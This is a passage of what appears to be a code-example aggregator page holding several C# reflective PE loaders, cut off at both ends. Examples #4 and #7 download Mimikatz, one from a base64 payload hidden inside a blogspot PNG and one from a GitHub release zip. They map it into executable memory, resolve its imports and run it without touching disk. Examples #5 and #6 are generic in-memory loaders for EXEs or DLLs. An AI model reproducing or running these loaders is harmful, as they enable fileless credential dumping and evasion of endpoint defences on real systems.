            for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
            {
                IntPtr a1          = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
                int    entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
                IntPtr a2          = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
                IntPtr dllNamePTR  = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
                string DllName     = Marshal.PtrToStringAnsi(dllNamePTR);
                if (DllName == "")
                {
                    break;
                }

                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                Console.WriteLine("Loaded {0}", DllName);
                for (int k = 1; k < 9999; k++)
                {
                    IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
                    string DllFuncName    = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
                    //Console.WriteLine("Function {0}", DllFuncName);
                    IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                    Marshal.WriteInt64(a2, (long)funcAddy);
                    a2 = IntPtr.Add(a2, 8);
                    if (DllFuncName == "")
                    {
                        break;
                    }
                }


                //Console.ReadLine();
            }

            //Transfer Control To OEP
            Console.WriteLine("Executing PE");
            IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
            IntPtr hThread     = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

            NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");
            //Console.ReadLine();
        } //End Main
Example #4
0
        public static void Main()
        {
            string    url     = "http://4.bp.blogspot.com/-L1KeuXYcw18/VfEA-7r0suI/AAAAAAAAAUg/-yiiMQC8Ro8/s1600/skullkatz-full.png";
            WebClient request = new System.Net.WebClient();

            byte[] bytes = request.DownloadData(url);
            string b64   = System.Text.Encoding.ASCII.GetString(bytes, 51436, bytes.Length - 51436);

            byte[] realdeal = System.Convert.FromBase64String(b64);


            PELoader pe = new PELoader(realdeal);


            Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));

            IntPtr codebase = IntPtr.Zero;

            codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);

            Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));


            //Copy Sections
            for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
            {
                IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
                Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
            }

            //Perform Base Relocation
            //Calculate Delta
            long currentbase = (long)codebase.ToInt64();
            long delta;

            delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);


            Console.WriteLine("Delta = {0}", delta.ToString("X4"));

            //Modify Memory Based On Relocation Table

            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4"));
            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4"));

            IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));

            //Console.WriteLine(relocationTable.ToString("X4"));

            NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
            relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4"));
            //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4"));

            int    imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry       = relocationTable;
            int    sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset          = relocationTable;

            while (true)
            {
                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
                IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));


                IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);


                //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
                //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);

                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
                {
                    IntPtr patchAddr;
                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

                    UInt16 type  = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);
                    //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));

                    switch (type)
                    {
                    case 0x0:
                        break;

                    case 0xA:
                        patchAddr = IntPtr.Add(dest, fixup);
                        //Add Delta To Location.
                        long originalAddr = Marshal.ReadInt64(patchAddr);
                        Marshal.WriteInt64(patchAddr, originalAddr + delta);
                        break;
                    }
                }

                offset           = IntPtr.Add(relocationTable, sizeofNextBlock);
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
                relocationEntry  = relocationNextEntry;

                nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);

                if (relocationNextEntry.SizeOfBlock == 0)
                {
                    break;
                }
            }


            //Resolve Imports

            IntPtr z   = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
            IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
            int    oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));

            //Get And Display Each DLL To Load
            for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
            {
                IntPtr a1          = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
                int    entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
                IntPtr a2          = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
                IntPtr dllNamePTR  = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
                string DllName     = Marshal.PtrToStringAnsi(dllNamePTR);
                if (DllName == "")
                {
                    break;
                }

                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                Console.WriteLine("Loaded {0}", DllName);
                for (int k = 1; k < 9999; k++)
                {
                    IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
                    string DllFuncName    = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
                    //Console.WriteLine("Function {0}", DllFuncName);
                    IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                    Marshal.WriteInt64(a2, (long)funcAddy);
                    a2 = IntPtr.Add(a2, 8);
                    if (DllFuncName == "")
                    {
                        break;
                    }
                }


                //Console.ReadLine();
            }

            //Transfer Control To OEP
            Console.WriteLine("Executing Mimikatz");
            IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
            IntPtr hThread     = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

            NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");
            //Console.ReadLine();
        } //End Main
Example #5
0
        public static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Console.WriteLine("[ERROR] Missing arguments.");
                Console.WriteLine("Usage: {0} <zip_file> <exe_name_within_zip_file>", System.Diagnostics.Process.GetCurrentProcess().ProcessName);
                Environment.Exit(-1);
            }

            // Array of bytes containing the unpacked version of the exe
            byte[] unpacked = null;
            try
            {
                // Reading all Bytes from the zip file
                byte[] zip = File.ReadAllBytes(args[0]);


                Stream     data = new MemoryStream(zip); //The original data
                Stream     unzippedEntryStream;          //Unzipped data from a file in the archive
                ZipArchive archive = new ZipArchive(data);

                foreach (ZipArchiveEntry entry in archive.Entries)
                {
                    if (entry.FullName == args[1])
                    {
                        Console.WriteLine("Found EXE to be executed in the zip file: {0}", entry.FullName);
                        unzippedEntryStream = entry.Open(); // .Open will return a stream
                        unpacked            = ReadFully(unzippedEntryStream);
                    }
                }
            }
            catch (Exception ex)
            {
                while (ex != null)
                {
                    Console.WriteLine(ex.Message);
                    ex = ex.InnerException;
                }
            }

            PELoader pe = new PELoader(unpacked);

            IntPtr codebase = IntPtr.Zero;

            if (!pe.Is32BitHeader)
            {
                Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));
                codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));
            }
            else
            {
                Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader32.ImageBase.ToString("X4"));
                codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader32.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader32.SizeOfImage.ToString("X4"), codebase.ToString("X4"));
            }

            //Copy Sections
            for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
            {
                IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
                Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
            }

            //Perform Base Relocation
            //Calculate Delta
            long currentbase = (long)codebase.ToInt64();
            long delta;

            if (!pe.Is32BitHeader)
            {
                delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);
            }
            else
            {
                delta = (long)(currentbase - (long)pe.OptionalHeader32.ImageBase);
            }


            Console.WriteLine("Delta = {0}", delta.ToString("X4"));

            //Modify Memory Based On Relocation Table
            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4"));
            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4"));

            int virtualAddress;

            if (!pe.Is32BitHeader)
            {
                virtualAddress = (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress;
            }
            else
            {
                virtualAddress = (int)pe.OptionalHeader32.BaseRelocationTable.VirtualAddress;
            }

            IntPtr relocationTable = (IntPtr.Add(codebase, virtualAddress));

            //Console.WriteLine(relocationTable.ToString("X4"));

            NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
            relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4"));
            //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4"));

            int    imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry       = relocationTable;
            int    sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset          = relocationTable;

            while (true)
            {
                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
                IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));

                IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);

                //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
                //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);

                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
                {
                    IntPtr patchAddr;
                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

                    UInt16 type  = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);
                    //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));

                    switch (type)
                    {
                    case 0x0:
                        break;

                    case 0xA:
                        patchAddr = IntPtr.Add(dest, fixup);
                        //Add Delta To Location.
                        long originalAddr = Marshal.ReadInt64(patchAddr);
                        Marshal.WriteInt64(patchAddr, originalAddr + delta);
                        break;
                    }
                }

                offset           = IntPtr.Add(relocationTable, sizeofNextBlock);
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
                relocationEntry  = relocationNextEntry;

                nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);

                if (relocationNextEntry.SizeOfBlock == 0)
                {
                    break;
                }
            }


            //Resolve Imports
            IntPtr z   = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
            IntPtr oa1 = IntPtr.Add(codebase, virtualAddress);

            int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));

            //Get And Display Each DLL To Load
            for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
            {
                IntPtr a1          = IntPtr.Add(codebase, (20 * j) + virtualAddress);
                int    entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
                IntPtr a2          = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
                IntPtr dllNamePTR  = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
                string DllName     = Marshal.PtrToStringAnsi(dllNamePTR);
                if (DllName == "")
                {
                    break;
                }

                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                Console.WriteLine("Loaded {0}", DllName);
                for (int k = 1; k < 9999; k++)
                {
                    IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
                    string DllFuncName    = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
                    //Console.WriteLine("Function {0}", DllFuncName);
                    IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                    Marshal.WriteInt64(a2, (long)funcAddy);
                    a2 = IntPtr.Add(a2, 8);
                    if (DllFuncName == "")
                    {
                        break;
                    }
                }

                //Console.ReadLine();
            }

            //Transfer Control To OEP
            Console.WriteLine("Executing inner executable");
            IntPtr threadStart;

            if (!pe.Is32BitHeader)
            {
                threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
            }
            else
            {
                threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader32.AddressOfEntryPoint);
            }
            IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

            NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");
            //Console.ReadLine();
        } //End Main
Example #6
0
        private static void ExecutePELoader(string[] args)
        {
            PELoader pe = Unpack(args);

            DllEntryDelegate _dllEntry;

            uint   SizeOfImage;
            ulong  ImageBase;
            IntPtr CodeBase;
            IntPtr RelocationTable;
            IntPtr ImportTableVirtualAddress;
            uint   ImportTableVirtualAddressOffset;
            uint   AddressOfEntryPoint;

            if (pe.Is32BitHeader)
            {
                SizeOfImage                     = pe.OptionalHeader32.SizeOfImage;
                ImageBase                       = pe.OptionalHeader32.ImageBase;
                AddressOfEntryPoint             = pe.OptionalHeader32.AddressOfEntryPoint;
                ImportTableVirtualAddressOffset = pe.OptionalHeader32.ImportTable.VirtualAddress;
            }
            else
            {
                SizeOfImage                     = pe.OptionalHeader64.SizeOfImage;
                ImageBase                       = pe.OptionalHeader64.ImageBase;
                AddressOfEntryPoint             = pe.OptionalHeader64.AddressOfEntryPoint;
                ImportTableVirtualAddressOffset = pe.OptionalHeader64.ImportTable.VirtualAddress;
            }

            Console.WriteLine("Preferred Load Address = {0:X16}", ImageBase);

            CodeBase = NativeDeclarations.VirtualAlloc(
                IntPtr.Zero, SizeOfImage,
                NativeDeclarations.MEM_COMMIT,
                NativeDeclarations.PAGE_EXECUTE_READWRITE);

            Console.WriteLine(
                "Allocated Space For {0:X16} at {1:X16}",
                SizeOfImage, CodeBase);

            //Copy Sections
            for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
            {
                IntPtr SectionVirtualAddress = (IntPtr)((byte *)CodeBase + pe.ImageSectionHeaders[i].VirtualAddress);
                IntPtr MappedVirtualAddress  = NativeDeclarations.VirtualAlloc(
                    SectionVirtualAddress,
                    pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT,
                    NativeDeclarations.PAGE_EXECUTE_READWRITE
                    );

                Marshal.Copy(
                    pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData,
                    MappedVirtualAddress, (int)pe.ImageSectionHeaders[i].SizeOfRawData);

                Console.WriteLine("Section {0}, Copied To {1:X16}", pe.ImageSectionHeaders[i].Name, MappedVirtualAddress);
            }

            //Perform Base Relocation
            long delta;

            if (pe.Is32BitHeader)
            {
                int currentbase = CodeBase.ToInt32();
                delta           = currentbase - (int)ImageBase;
                RelocationTable = (IntPtr)((byte *)CodeBase + pe.OptionalHeader32.BaseRelocationTable.VirtualAddress);
            }
            else
            {
                long currentbase = CodeBase.ToInt64();
                delta           = currentbase - (long)ImageBase;
                RelocationTable = (IntPtr)((byte *)CodeBase + pe.OptionalHeader64.BaseRelocationTable.VirtualAddress);
            }

            if (delta >= 0)
            {
                Console.WriteLine("Delta = {0:X16}", delta);
            }
            else
            {
                Console.WriteLine("Delta = -{0:X16}", -delta);
            }

            NativeDeclarations.IMAGE_BASE_RELOCATION RelocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();

            RelocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(
                RelocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));

            int    imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry       = RelocationTable;
            int    sizeofNextBlock = (int)RelocationEntry.SizeOfBlock;
            IntPtr offset          = RelocationTable;

            while (true)
            {
                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
                IntPtr x = (IntPtr)((byte *)RelocationTable + sizeofNextBlock);
                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(
                    x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));

                IntPtr dest = (IntPtr)((byte *)CodeBase + (int)RelocationEntry.VirtualAdress);

                for (int i = 0; i < (int)((RelocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
                {
                    IntPtr patchAddr;

                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));
                    UInt16 type  = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);

                    long originalAddr;
                    long fixedAddr;

                    patchAddr = (IntPtr)((byte *)dest + fixup);

                    switch (type)
                    {
                    case 0x0:
                        Console.WriteLine("[R] ABS");
                        break;

                    case 0x3:
                        originalAddr = (long)Marshal.ReadInt32(patchAddr);
                        fixedAddr    = originalAddr + delta;

                        Console.WriteLine(
                            "[R] {0:X8} (+ {1}) -> {2:X8}",
                            originalAddr, delta, fixedAddr);
                        Marshal.WriteInt32(patchAddr, (int)fixedAddr);
                        break;

                    case 0xA:
                        originalAddr = Marshal.ReadInt64(patchAddr);
                        fixedAddr    = originalAddr + delta;
                        Console.WriteLine(
                            "[R] {0:X16} (+ {1}) -> {2:X16}",
                            originalAddr, delta, fixedAddr);
                        Marshal.WriteInt64(patchAddr, fixedAddr);
                        break;

                    default:
                        Console.WriteLine("[R] Invalid relocation: {0}", type);
                        break;
                    }
                }

                offset           = (IntPtr)((byte *)RelocationTable + sizeofNextBlock);
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
                RelocationEntry  = relocationNextEntry;

                nextEntry = (IntPtr)((byte *)nextEntry + sizeofNextBlock);

                if (relocationNextEntry.SizeOfBlock == 0)
                {
                    break;
                }
            }

            ImportTableVirtualAddress = (IntPtr)((byte *)CodeBase + ImportTableVirtualAddressOffset);

            //Get And Display Each DLL To Load
            for (int j = 0; j < MAX_RECORDS; j++) //HardCoded Number of DLL's Do this Dynamically.
            {
                IntPtr ImportRecord = (IntPtr)((byte *)ImportTableVirtualAddress + (20 * j));

                IntPtr DllFuncOFTOfft = (IntPtr)((byte *)(ImportRecord) + 0);
                IntPtr DllNameOfft    = (IntPtr)((byte *)(ImportRecord) + 12);
                IntPtr DllFuncFTOfft  = (IntPtr)((byte *)(ImportRecord) + 16);

                IntPtr dllNamePTR     = (IntPtr)((byte *)CodeBase + Marshal.ReadInt32(DllNameOfft));
                int    FTPtr          = Marshal.ReadInt32(DllFuncFTOfft);
                int    OFTPtr         = Marshal.ReadInt32(DllFuncOFTOfft);
                IntPtr DllFuncNameIdx = (IntPtr)0;
                IntPtr DllFuncPtrIdx  = (IntPtr)(IntPtr)((byte *)CodeBase + FTPtr);

                if (OFTPtr != 0)
                {
                    DllFuncNameIdx = (IntPtr)((byte *)CodeBase + OFTPtr);
                }
                else
                {
                    DllFuncNameIdx = (IntPtr)((byte *)CodeBase + FTPtr);
                }

                string DllName = Marshal.PtrToStringAnsi(dllNamePTR);

                Console.WriteLine("Import DLL {0}", DllName);

                if (DllName == "")
                {
                    break;
                }

                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                Console.WriteLine("Loaded {0} -> {1}", DllName, handle);
                for (int k = 1; k < MAX_RECORDS; k++)
                {
                    IntPtr DllFuncNamePtr = ((IntPtr)((byte *)CodeBase + Marshal.ReadInt32(DllFuncNameIdx)));
                    string DllFuncName    = Marshal.PtrToStringAnsi((IntPtr)((byte *)DllFuncNamePtr + 2));

                    IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);

                    Console.WriteLine("Import Function {0} -> {1:X16}", DllFuncName, funcAddy);

                    if (pe.Is32BitHeader)
                    {
                        Marshal.WriteInt32(DllFuncPtrIdx, (int)funcAddy);
                        DllFuncPtrIdx  = (IntPtr)((byte *)DllFuncPtrIdx + 4);
                        DllFuncNameIdx = (IntPtr)((byte *)DllFuncNameIdx + 4);
                    }
                    else
                    {
                        Marshal.WriteInt64(DllFuncPtrIdx, (long)funcAddy);
                        DllFuncPtrIdx  = (IntPtr)((byte *)DllFuncPtrIdx + 8);
                        DllFuncNameIdx = (IntPtr)((byte *)DllFuncNameIdx + 8);
                    }

                    if (DllFuncName == "")
                    {
                        break;
                    }
                }
            }

            IntPtr OEP = (IntPtr)((byte *)CodeBase + AddressOfEntryPoint);

            //Transfer Control To OEP
            Console.WriteLine("Executing DLL [OEP -> {0:X16}]", OEP);

            _dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(OEP, typeof(DllEntryDelegate));

            if (_dllEntry == null || !_dllEntry((byte *)CodeBase, DllReason.DLL_PROCESS_ATTACH, (void *)1))
            {
                throw new Exception("Can't attach DLL to process.");
            }
        }
Example #7
0
        public static void Main()
        {
            WebClient getKatz = new WebClient();

            byte[] unpacked = null;
            try
            {
                byte[] latestMimikatz = getKatz.DownloadData(@"https://github.com/gentilkiwi/mimikatz/releases/download/2.0.0-alpha-20150902/mimikatz_trunk.zip");
                //Yes.  You will need to change that... And make it a parameter...
                Stream     data = new MemoryStream(latestMimikatz); //The original data
                Stream     unzippedEntryStream;                     //Unzipped data from a file in the archive
                ZipArchive archive = new ZipArchive(data);

                foreach (ZipArchiveEntry entry in archive.Entries)
                {
                    if (entry.FullName == @"x64/mimikatz.exe")
                    {
                        Console.WriteLine(entry.FullName);
                        unzippedEntryStream = entry.Open(); // .Open will return a stream
                        unpacked            = ReadFully(unzippedEntryStream);
                    }
                }
            }
            catch (Exception ex)
            {
                while (ex != null)
                {
                    Console.WriteLine(ex.Message);
                    ex = ex.InnerException;
                }
            }

            Console.WriteLine("Downloaded Latest");
            PELoader pe = new PELoader(unpacked);


            Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));

            IntPtr codebase = IntPtr.Zero;

            codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);

            Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));


            //Copy Sections
            for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
            {
                IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
                Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
            }

            //Perform Base Relocation
            //Calculate Delta
            long currentbase = (long)codebase.ToInt64();
            long delta;

            delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);


            Console.WriteLine("Delta = {0}", delta.ToString("X4"));

            //Modify Memory Based On Relocation Table

            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4"));
            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4"));

            IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));

            //Console.WriteLine(relocationTable.ToString("X4"));

            NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
            relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4"));
            //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4"));

            int    imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry       = relocationTable;
            int    sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset          = relocationTable;

            while (true)
            {
                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
                IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));


                IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);


                //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
                //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);

                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
                {
                    IntPtr patchAddr;
                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

                    UInt16 type  = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);
                    //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));

                    switch (type)
                    {
                    case 0x0:
                        break;

                    case 0xA:
                        patchAddr = IntPtr.Add(dest, fixup);
                        //Add Delta To Location.
                        long originalAddr = Marshal.ReadInt64(patchAddr);
                        Marshal.WriteInt64(patchAddr, originalAddr + delta);
